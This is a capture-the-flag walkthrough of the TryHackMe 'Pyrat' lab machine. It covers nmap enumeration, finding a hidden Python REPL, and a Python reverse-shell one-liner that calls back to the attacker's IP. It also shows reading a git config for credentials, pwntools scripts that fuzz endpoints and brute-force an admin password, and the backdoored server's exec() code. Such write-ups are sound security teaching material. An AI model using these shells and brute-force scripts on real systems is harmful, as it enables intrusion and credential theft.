THM Pyrat Walkthrough
This machine provide a remote Python REPL environment via a SimpleHTTP service.
We just gain initial access by constructing a simple Python version of a reverse shell.
After conducting a thorough search of the system (targeting users with login shells), we discovered that one user maintained a Git repository containing their login credentials. Subsquently, uncovered clues within the Git logs pointing to the remote REPL environment. This led us to further fuzz the environment hidden endpoint and its password, ultimately gaining root privilege.
Summary
Scope
- Name: Pyrat
- Difficulty: Easy
- OS: Linux
- IP: 10.49.132.89
Learned
- Sometimes the functionality provided by a service may not fully align with its protocol. For example, in this challenge, the web service actually provides a Python REPL environment.
- During lateral movement and privilege escalation, targeted searches for specific users may yield clues more quickly.
- pwntools is a good friend, it's worth spending more time to understand.
Enumeration
Nmap
Overall
nmap -sT --min-rate 5000 -oN overall [IP]
Host is up (0.29s latency). Not shown: 44954 closed tcp ports (reset), 20579 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 8000/tcp open http-alt
Detail
nmap -sC -sV -O -vv -p22,8000 -oN detail [IP]
Host is up, received timestamp-reply ttl 62 (0.28s latency). Scanned at 2026-01-21 15:26:10 CST for 190s PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 d5:bc:2a:83:32:9c:0c:08:9e:d9:1e:1a:ff:cd:34:7f (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDilSIW8LZZMsLuTQIt7uB0DjEt4aREmNWwmR1G3QLTGWeZCnoHBMOSJeWfY8Svxfoabumu1fzLEHEoosvk2XjPW4Ccdp4huKQzM75L4CF5EvPfjmzBdcsL8pRNm5gGaQx9aO6yx3+FtxDCbuUs7bCU4/YQToBsEEiM2qp5EW6dxA9md4+3Al48W1SLSIkGSaC0EXOWknMeXUGdEyuet6PIO3SqbW67Gox5zXgxE8e6xlzeZxfcbyu9nO+9mAcZciHMqXGSEXC9ttVQCRqCeIr1tSin+KObaXkhz3ner4toeoeaSwAFlw5I7Hb5rAad8a5hzFQdt+EEXLuwGc5mkc7zTGEEHJk7E7iDEvcsa6JM0jfjYjsjeJeBy8U00cjXkYLKPMsUBu+hjHS+204STasorbs6YYeMY7Pz8htmh7etqEfwEc6bxTF6t4UM883VOdCOTTQZk86NMRpjBIeMf6n0BD2Tu+kyxNfYL6rYcentI0wcvheFcYZ8/O8XvDxcNHE= | 256 00:47:60:a2:47:0b:45:b3:b9:ef:03:91:f2:b5:29:05 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFzQ6uIxHtGJDdXdohiLGJOfhJJchfuqZY+9OX95Gl4gi58EIOXqhVhJ5jp6/DJHx4euvTQfiElL4GBwGPq6hMY= | 256 46:11:ba:26:9d:c9:63:9c:ac:71:2a:2d:39:60:c2:75 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBOViwftdaXf9H5gvPtAO8Jkv2MTJ7oHwqkHmqBo/SFn 8000/tcp open http-alt syn-ack ttl 62 SimpleHTTP/0.6 Python/3.11.2 |_http-open-proxy: Proxy might be redirecting requests |_http-server-header: SimpleHTTP/0.6 Python/3.11.2 |_http-favicon: Unknown favicon MD5: FBD3DB4BEF1D598ED90E26610F23A63F | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe: | source code string cannot contain null bytes | FourOhFourRequest, LPDString, SIPOptions: | invalid syntax (<string>, line 1) | GetRequest: | name 'GET' is not defined | HTTPOptions, RTSPRequest: | name 'OPTIONS' is not defined | Help: |_ name 'HELP' is not defined |_http-title: Site doesn't have a title (text/html; charset=utf-8). 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8000-TCP:V=7.98%I=7%D=1/21%Time=69707F9E%P=aarch64-unknown-linux-gn SF:u%r(GenericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x2 SF:0defined\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20conta SF:in\x20null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\( SF:<string>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20c SF:annot\x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTION SF:S'\x20is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20i SF:s\x20not\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20st SF:ring\x20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D SF:,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r( SF:Help,1B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"inv SF:alid\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"inval SF:id\x20syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\ SF:x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC, SF:2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")% SF:r(JavaRMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20 SF:bytes\n"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port OS fingerprint not ideal because: Missing a closed TCP port so results incomplete Aggressive OS guesses: Linux 4.15 - 5.19 (96%), Linux 4.15 (96%), Linux 5.4 (96%), Android 10 - 12 (Linux 4.14 - 4.19) (93%), Android 9 - 10 (Linux 4.9 - 4.14) (92%), Android 12 (Linux 5.4) (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.7 - 4.19 (92%) No exact OS matches for host (test conditions non-ideal). TCP/IP fingerprint: SCAN(V=7.98%E=4%D=1/21%OT=22%CT=%CU=32544%PV=Y%DS=3%DC=I%G=N%TM=69708050%P=aarch64-unknown-linux-gnu) SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A) SEQ(SP=109%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A) OPS(O1=M4E8ST11NW7%O2=M4E8ST11NW7%O3=M4E8NNT11NW7%O4=M4E8ST11NW7%O5=M4E8ST11NW7%O6=M4E8ST11) WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3) ECN(R=Y%DF=Y%T=40%W=F507%O=M4E8NNSNW7%CC=Y%Q=) T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=) T2(R=N) T3(R=N) T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=) T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=) U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G) IE(R=Y%DFI=N%T=40%CD=S) Uptime guess: 24.797 days (since Sat Dec 27 20:21:02 2025) Network Distance: 3 hops TCP Sequence Prediction: Difficulty=260 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
UDPScan
nmap -sU --top-ports 20 -oN udpscan [IP]
Nmap scan report for 10.49.132.89 Host is up (0.31s latency). PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp closed ntp 135/udp closed msrpc 137/udp closed netbios-ns 138/udp closed netbios-dgm 139/udp closed netbios-ssn 161/udp open|filtered snmp 162/udp closed snmptrap 445/udp closed microsoft-ds 500/udp closed isakmp 514/udp closed syslog 520/udp open|filtered route 631/udp open|filtered ipp 1434/udp closed ms-sql-m 1900/udp closed upnp 4500/udp closed nat-t-ike 49152/udp closed unknown
Simplest Fuzz
Let's interact with web service. Keep in mind this is a Python SimpleHTTP service.
$ curl http://10.49.132.89:8000 Try a more basic connection
curl interacts with service via the HTTP protocol, but it prompts us to attempt a more fundamental
connection (something can custom protocol header), which immediately brings netcat to mind!
$ nc 10.49.132.89 8000 test name 'test' is not defined print(1+1) 2 import sys print(sys.version) 3.8.10 (default, Mar 18 2025, 20:04:55) [GCC 9.4.0]
Yeah, I first try some random word to service and it says that not defined. And I remember that this is a Python service, so I try a simple Python expression. Then I get it!
This Web service just provide a remote Python REPL environment!
Foothold
Now that we have a Python REPL environment, the foothold becomes very simple: just build reverse shell via Python.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.145.249",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")
That's it.
$ nc -lvnp 4443 listening on [any] 4443 ... connect to [192.168.145.249] from (UNKNOWN) [10.49.132.89] 43402 $
Enhance Interactivity of Shell (optional)
The default shell we obtained is not a fully interactive shell. I leverage script command to elevate
it to interactive.
$ script -q /dev/null -c /bin/bash script -q /dev/null -c /bin/bash bash: /root/.bashrc: Permission denied www-data@ip-10-49-132-89:~$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@ip-10-49-132-89:~$ www-data@ip-10-49-132-89:~$ ^Z zsh: suspended nc -lvnp 4443 (curtain㉿Kali)-[/media/psf/workspace/thm/pyrat] $ stty raw -echo && fg [1] + continued nc -lvnp 4443 www-data@ip-10-49-132-89:~$ www-data@ip-10-49-132-89:~$ export TERM=xterm www-data@ip-10-49-132-89:~$
Privilege Escalation
Pivoting (www-data -> think)
Now we are a low-privilege user (www-data), so we first target is the other high-privilege users.
www-data@ip-10-49-132-89:~$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
think:x:1000:1000:,,,:/home/think:/bin/bash
ubuntu:x:1001:1002:Ubuntu:/home/ubuntu:/bin/bash
Let's see if there's anything interesting in these two user's home directories.
www-data@ip-10-49-132-89:~$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Jan 21 07:16 .
drwxr-xr-x 18 root root 4096 Jan 21 07:16 ..
drwxr-x--- 5 think think 4096 Jun 21 2023 think
drwxr-xr-x 3 ubuntu ubuntu 4096 Jan 21 07:16 ubuntu
www-data@ip-10-49-132-89:~$ ls -la /home/think
ls: cannot open directory '/home/think': Permission denied
www-data@ip-10-49-132-89:~$ ls -la /home/ubuntu
total 24
drwxr-xr-x 3 ubuntu ubuntu 4096 Jan 21 07:16 .
drwxr-xr-x 4 root root 4096 Jan 21 07:16 ..
-rw-r--r-- 1 ubuntu ubuntu 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Feb 25 2020 .bashrc
-rw-r--r-- 1 ubuntu ubuntu 807 Feb 25 2020 .profile
drwx------ 2 ubuntu ubuntu 4096 Jan 21 07:16 .ssh
Interesting, We don't have permission for reading user think's home directory. Additionally, the
user ubuntu has a special directory called .ssh.
Since we currently lack access to these two user's home directories, we can find to see which
directories in the system belong to these two users.
www-data@ip-10-49-132-89:/$ find / -user think -type d 2>/dev/null /opt/dev /opt/dev/.git /opt/dev/.git/objects /opt/dev/.git/objects/info /opt/dev/.git/objects/0a /opt/dev/.git/objects/pack /opt/dev/.git/objects/ce /opt/dev/.git/objects/56 /opt/dev/.git/hooks /opt/dev/.git/info /opt/dev/.git/logs /opt/dev/.git/logs/refs /opt/dev/.git/logs/refs/heads /opt/dev/.git/branches /opt/dev/.git/refs /opt/dev/.git/refs/heads /opt/dev/.git/refs/tags /home/think www-data@ip-10-49-132-89:/$ find / -user ubuntu -type d 2>/dev/null /home/ubuntu /home/ubuntu/.ssh
Woo! There's a Git repository here!
www-data@ip-10-49-132-89:/opt/dev$ git log -p fatal: detected dubious ownership in repository at '/opt/dev' To add an exception for this directory, call: git config --global --add safe.directory /opt/dev www-data@ip-10-49-132-89:/opt/dev$ git config --global --add safe.directory /opt/dev/ warning: unable to access '/root/.gitconfig': Permission denied warning: unable to access '/root/.config/git/config': Permission denied error: could not lock config file /root/.gitconfig: Permission denied
Unfortunately, we also lack the permission to directly view the Git log! Let's do it manually.
www-data@ip-10-49-132-89:/opt/dev$ cd .git/ www-data@ip-10-49-132-89:/opt/dev/.git$ ls -al total 52 drwxrwxr-x 8 think think 4096 Jun 21 2023 . drwxrwxr-x 3 think think 4096 Jun 21 2023 .. drwxrwxr-x 2 think think 4096 Jun 21 2023 branches -rw-rw-r-- 1 think think 21 Jun 21 2023 COMMIT_EDITMSG -rw-rw-r-- 1 think think 296 Jun 21 2023 config -rw-rw-r-- 1 think think 73 Jun 21 2023 description -rw-rw-r-- 1 think think 23 Jun 21 2023 HEAD drwxrwxr-x 2 think think 4096 Jun 21 2023 hooks -rw-rw-r-- 1 think think 145 Jun 21 2023 index drwxrwxr-x 2 think think 4096 Jun 21 2023 info drwxrwxr-x 3 think think 4096 Jun 21 2023 logs drwxrwxr-x 7 think think 4096 Jun 21 2023 objects drwxrwxr-x 4 think think 4096 Jun 21 2023 refs
Here is a config file that caught my attention (Git config may contain secret information).
www-data@ip-10-49-132-89:/opt/dev/.git$ cat config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [user] name = Jose Mario email = [email protected] [credential] helper = cache --timeout=3600 [credential "https://github.com"] username = think password = _***************_
Yeah! There's a credential for think here.
Escalation (think -> root)
Now we are the user think.
www-data@ip-10-49-132-89:/opt/dev$ su think Password: think@ip-10-49-132-89:/opt/dev$ id uid=1000(think) gid=1000(think) groups=1000(think) think@ip-10-49-132-89:~$ ls -la total 40 drwxr-x--- 5 think think 4096 Jun 21 2023 . drwxr-xr-x 4 root root 4096 Jan 21 07:16 .. lrwxrwxrwx 1 root root 9 Jun 15 2023 .bash_history -> /dev/null -rwxr-x--- 1 think think 220 Jun 2 2023 .bash_logout -rwxr-x--- 1 think think 3771 Jun 2 2023 .bashrc drwxr-x--- 2 think think 4096 Jun 2 2023 .cache -rwxr-x--- 1 think think 25 Jun 21 2023 .gitconfig drwx------ 3 think think 4096 Jun 21 2023 .gnupg -rwxr-x--- 1 think think 807 Jun 2 2023 .profile drwx------ 3 think think 4096 Jun 21 2023 snap -rw-r--r-- 1 root think 33 Jun 15 2023 user.txt lrwxrwxrwx 1 root root 9 Jun 21 2023 .viminfo -> /dev/null think@ip-10-49-132-89:~$ cat user.txt 99****************************05
Default Approaches (sudo rules and SUID)
Let's try default approaches first.
think@ip-10-49-132-89:~$ sudo -l [sudo] password for think: Sorry, user think may not run sudo on ip-10-49-132-89. think@ip-10-49-132-89:~$ find / -perm -u=s -type f 2>/dev/null /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/bin/at /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/chfn /usr/bin/sudo /usr/bin/chsh /usr/bin/passwd /usr/bin/mount /usr/bin/su /usr/bin/newgrp /usr/bin/pkexec /usr/bin/umount
Nothing to exploit here.
Fuzz Endpoints
Next, we can view the Git log again, since we are a normal user.
think@ip-10-49-132-89:/opt/dev$ git log -p commit 0a3c36d66369fd4b07ddca72e5379461a63470bf (HEAD -> master) Author: Jose Mario <[email protected]> Date: Wed Jun 21 09:32:14 2023 +0000 Added shell endpoint diff --git a/pyrat.py.old b/pyrat.py.old new file mode 100644 index 0000000..ce425cf --- /dev/null +++ b/pyrat.py.old @@ -0,0 +1,27 @@ +............................................... + +def switch_case(client_socket, data): + if data == 'some_endpoint': + get_this_enpoint(client_socket) + else: + # Check socket is admin and downgrade if is not aprooved + uid = os.getuid() + if (uid == 0): + change_uid() + + if data == 'shell': + shell(client_socket) + else: + exec_python(client_socket, data) + +def shell(client_socket): + try: + import pty + os.dup2(client_socket.fileno(), 0) + os.dup2(client_socket.fileno(), 1) + os.dup2(client_socket.fileno(), 2) + pty.spawn("/bin/sh") + except Exception as e: + send_data(client_socket, e + +...............................................
This file appears to be the backend source code for this Python environment, but it is incomplete. Let's verify it.
$ nc 10.49.132.89 8000 shell $ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ nc 10.49.132.89 8000 some_endpoint name 'some_endpoint' is not defined
Alright, then we can processed to fuzz test this service to identify its endpoints.
from pwn import * context.log_level = 'critical' endpoints = '/usr/share/wordlists/seclists/Discovery/Web-Content/api/actions.txt' def fuzz_endpoints(endpoints): with open(endpoints, 'r') as f: for endpoint in f: io = remote('10.49.132.89', 8000) io.sendline(endpoint.strip().encode()) result = io.recvline() if b'is not defined' in result: io.close() # connection is one-time pass, so we need reconnect it else: log.critical(f'[+] endpoint: {endpoint} may exists!') io.close()
We use seclists's api actions for wordlists here. (If this doesn't provide us with useful information, we can try another wordlists).
$ python fuzz_endpoints.py [+] Opening connection to 10.49.132.89 on port 8000: Done [*] Closed connection to 10.49.132.89 port 8000 ... [CRITICAL] [+] endpoint: admin may exists! ... [CRITICAL] [+] endpoint: def may exists! ... [CRITICAL] [+] endpoint: del may exists! ... [CRITICAL] [+] endpoint: list may exists! ... [CRITICAL] [+] endpoint: map may exists! ... [CRITICAL] [+] endpoint: quit may exists! ... [CRITICAL] [+] endpoint: set may exists! [+] Opening connection to 10.49.132.89 on port 8000: Done [*] Closed connection to 10.49.132.89 port 8000
Luckily, except for admin endpoint, the rest should all be Python-supported keywords or function names.
$ nc 10.49.132.89 8000 admin Password: 123 Password: 123 Password: 123 admin Password:
- This endpoint needs a password.
- Every three incorrect password attemps, the verification process must be restarted.
- The entire verification process does not require reconnection (fuzzendpoints need).
- Third attempt will return nothing.
So we write script for fuzz it with rockyou.txt wordlists.
from pwn import * context.log_level = 'critical' passwords = '/usr/share/wordlists/rockyou.txt' def fuzz_password(passwords): io = remote('10.49.132.89', 8000) # NOTE: admin endpoint need not to reconnection io.sendline(b'admin') io.recvline() attempt_count = 0 with open(passwords, 'r', encoding = 'latin-1') as f: for password in f: password = password.strip() if attempt_count == 3: io.sendline(b'admin') io.recvline() attempt_count = 0 attempt_count += 1 io.sendline(password.encode()) if attempt_count == 3: result = io.recvline(timeout = 0.5) # NOTE: third try will return nothing, include \n, so we shouldn't wait here else: result = io.recvline() if b'Password' not in result and b'' != result.strip(): log.critical(f'password: {password} may success') break
Run it will get the password.
$ python fuzz_endpoints.py [CRITICAL] password: ****** may success
Root Flag
$ nc 10.49.132.89 8000 admin Password: a****3 Welcome Admin!!! Type "shell" to begin shell # id id uid=0(root) gid=0(root) groups=0(root) # pwd pwd /root # ls -l ls -l total 16 -rwxr-xr-x 1 root root 5360 Apr 15 2024 pyrat.py -rw-r----- 1 root root 33 Jun 15 2023 root.txt drwxrwx--- 3 root root 4096 Jun 2 2023 snap # cat root.txt cat root.txt ba****************************21
Implmentation (optional)
BTW, we notice that there's a file called pyrat.py which appears to the backend source code. We
download it will get that:
# .... def handle_client(client_socket, client_address): try: while True: # Receive data from the client data = client_socket.recv(1024).decode("utf-8") if not data: # Client disconnected break if is_http(data): send_data(client_socket, fake_http()) continue switch_case(client_socket, str(data).strip()) except: pass remove_socket(client_socket) def switch_case(client_socket, data): if data == 'admin': get_admin(client_socket) else: # Check socket is admin and downgrade if is not aprooved uid = os.getuid() if (uid == 0) and (str(client_socket) not in admins): change_uid() if data == 'shell': shell(client_socket) remove_socket(client_socket) else: exec_python(client_socket, data) # Tries to execute the random data with Python def exec_python(client_socket, data): try: print(str(client_socket) + " : " + str(data)) # Redirect stdout to capture the printed output captured_output = StringIO() sys.stdout = captured_output # Execute the received data as code exec(data) # Get the captured output exec_output = captured_output.getvalue() # Send the result back to the client send_data(client_socket, exec_output) except Exception as e: # Send the exception message back to the client send_data(client_socket, e) finally: # Reset stdout to the default sys.stdout = sys.__stdout__ # ...
Which setup a fake web service, but in reality, it left a root backdoor.